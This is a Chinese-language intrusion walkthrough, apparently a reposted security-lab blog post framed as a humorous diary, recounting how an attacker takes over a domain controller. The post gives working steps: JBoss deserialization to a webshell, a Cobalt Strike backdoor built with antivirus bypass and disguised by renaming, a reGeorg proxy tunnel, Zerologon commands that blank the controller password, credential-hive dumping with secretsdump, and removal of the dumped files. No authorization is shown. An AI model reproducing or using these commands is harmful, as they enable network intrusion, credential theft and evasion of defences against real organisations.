牛红红的日记(平平无奇拿下域控)

牛红红的日记(平平无奇拿下域控)

注:本文首发地址:https://www.sec-in.com
文章作者为-句芒安全实验室-成员之一,欢迎微信搜索关注我们。

一、引文

x年x月x日 晴
我是一只牛,家里的老大,我叫牛红红,我还有六个兄弟,分别是橙黄绿青蓝紫。后来我知道这名字是一个头上带着葫芦的算命的老头起的,长大后我问他为什么要起这个名字,老头说当年他爷爷被妖精抓走,于是他便怒气冲冲的去解救,上去便是一句:“妖精!还我爷爷!”没想到妖精和颜悦色的问了他一个问题,他一直苦苦思索,始终没有结果,说着便给我看了一张他珍藏多年的图片。
-w394
他希望我不会重蹈覆辙。我心疼老头这么大年纪,身体又弱,便问老头有什么能帮他的吗,老头颤颤巍巍的坐到了一块石头上,抽了口烟和蔼的望着我,
-w137
说:我多年来游走各地,最近我得到了一些线索,可能存在答案,你帮我看看吧。
线索:
-w272

二、正文
步骤一: 获取网站权限

我根据老头给的线索进行了访问,发现是一个JBOOS控制台。
-w718
一瞬间我的脑海闪过很多想法,于是我用了最简单的一种方法,老头,你这线索的利用的工具给我用用呗,经过软磨硬泡终于从老头那骗来了java反序列化终极测试工具。发现目标存在命令执行漏洞,存在域控。
-w1094
但是发现老头给的工具部分命令执行不完整,没办法,看来得先获取一个webshell。
方法一:利用此工具上传上传webshell至网站根目录。
利用工具自带文件管理功能,找到文件web目录

C:\BAG\JBOSS\jboss-4.2.3.GA\server\default\deploy\jmx-console.war


利用上传功能上传至指定目录。

方法二:
利用现成的工具,参数-u后面加目标地址可以直接获得一个交互式shell
-w772
方法三:远程部署获取webshell
1.将shell.jsp文件压缩为zip文件,更改后缀为war文件

2.将shell.war上传到远程服务器上,在该目录下利用python临时开启一个http服务

python -m SimpleHTTPServer 8000 #Python 2
python -m http.server 8000 #Python 3

访问地址,可以看到服务开启成功

3.访问目标控制台http://1.2.3.4/jmx-console
搜索关键字jboss.deployment找到flavor=URL,type=DeploymentScanner点进去
-w723
之后搜索关键字void addURL(),找到远程部署地址填写框,如下图
-w717
填写完成后点击invoke,若成功会提示部署成功,点击下图中的Back to MBean View
-w671
可以查看部署的物理路径

点击应用更改,会跳转到部署好后的访问地址

4.使用冰蝎测试连接

获取webshell结束。

步骤二: 获取服务器权限

利用获取的webshell上线cs的木马。
1.服务器运行CS服务端

./teamserver IP 密码


2.本地运行CS客户端,添加一个监听器,并生成windows后门
添加监听器

生成windows后门
attacks->packages->Windows Executable

选择监听器
-w705
生成完毕后改个名字,增加迷惑性

3.利用冰蝎上传文件

cmd下运行

查看服务端未上线,dir再次查看,文件消失,猜测目标可能开启安全防护软件。
利用CS插件bypassAV快速生成一个后门文件
-w221
上传,执行,上线。
-w1600
右击interact获取beacon
-w582
-w715

步骤三: 获取域控主机权限

由于之前已经确定了域控IP,为了更快拿下域控,遂决定尝试下MS14-068,失败,目标不存在漏洞。
MS14-068具体利用方法,可以参考链接地址:

MS14-068漏洞复现 https://blog.csdn.net/lhh134/article/details/104139081

本机翻了一下没有发现有价值的线索,接着转变思路,看能不能从其他机器上获取有用的东西,利用抓取到的hash尝试登陆其他机器,失败。
继续按照此思路对内网存活机器常见端口进行探测看是否存在ms17010漏洞或者弱口令的主机。
为方便后续测试,搭建一个代理。上传常见的几个代理软件(注意部分服务器可能会限制只允许80、443端口流量通过),发现被杀后决定使用reg,
利用webshell将对应语言的版本上传到网站根目录,
本机运行如下命令,开启代理

$ python reGeorgSocksProxy.py -p 8080 -u http://目标网站/tunnel.jsp

-p #指定监听本地的端口
-u #指定脚本的连接地址
修改本地的proxychain的配置文件,kali下默认位置为/etc/proxychains.conf
-w415
测试下是否可以正常使用,执行命令

proxychain curl ipinfo.io

如下图可访问并获取到了代理地址的IP
-w485
利用代理探测下弱口令

大约在这个时间点,有别的事情处理,就把资料简单整理了一下,权限也放着没动。
过了N久以后,等我有时间的时候想起这个,刚好在这期间出现了新的域控漏洞,估摸着时间也出来没多久,对方不会这么快,于是再次尝试域提权漏洞,根据网上公开的利用方式
第一步,探测目标是否存在漏洞,发现存在漏洞

 proxychains python3 zerologon_tester.py XXX013 10.0.19.13


第二步,将目标域控密码置空

proxychains python3 cve-2020-1472-exploit.py XXX013 10.0.19.13


第三步,利用impacket下的secretsdump.py脚本获取域控hash

proxychains python3 secretsdump.py xxx.local/XXX013\[email protected] -just-dc -no-pass

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-57Cj72Rw-1617345994272)(/img/sin/M00/00/5D/wKg0C2A4ZDaAT82PAAEzvaOtNHw660.jpg)]
第四步,利用impacket下的wmiexec.py脚本获取一个域控的shell,直接利用powershell将域控上线到cs,到此步骤获取了域控权限,已经可以登录任意域内成员主机。另外为避免脱域还需要把原先的hash还原回去。
-w1268

第五步,利用获取的shell,提取域控原始hash。
在shell中依次执行以下命令,保存文件-下载文件-删除文件

reg save HKLM\SYSTEM system.save #利用注册表导出hash并保存为system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save #下载文件system.save到本地
get sam.save
get security.save
del /f system.save #删除文 system.save
del /f sam.save
del /f security.save


提取出原始hash

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL


第六步,根据提权到的原始hash对域控进行还原,避免脱域。

python3 reinstall_original_pw.py XXX013 10.0.19.13 5e80d11de2760cc86ec02b67a544e269


第七步,再尝试下是否能用空密码登录,不能登录则代表还原成功。
到此,域控获取结束。

三、尾结

本次的流程:

1.获取网站权限-2.获取服务器权限-3.搭建内网代理-4.利用域控漏洞获取域控权限

最后,通过搜索,我得到了文件《X友有关葫芦娃爷爷名字的推测.doc》。
抱着忐忑的心情我缓缓的点开了文件:
-w659
20190820173356_52914

猜你喜欢

转载自blog.csdn.net/Key_book/article/details/115398457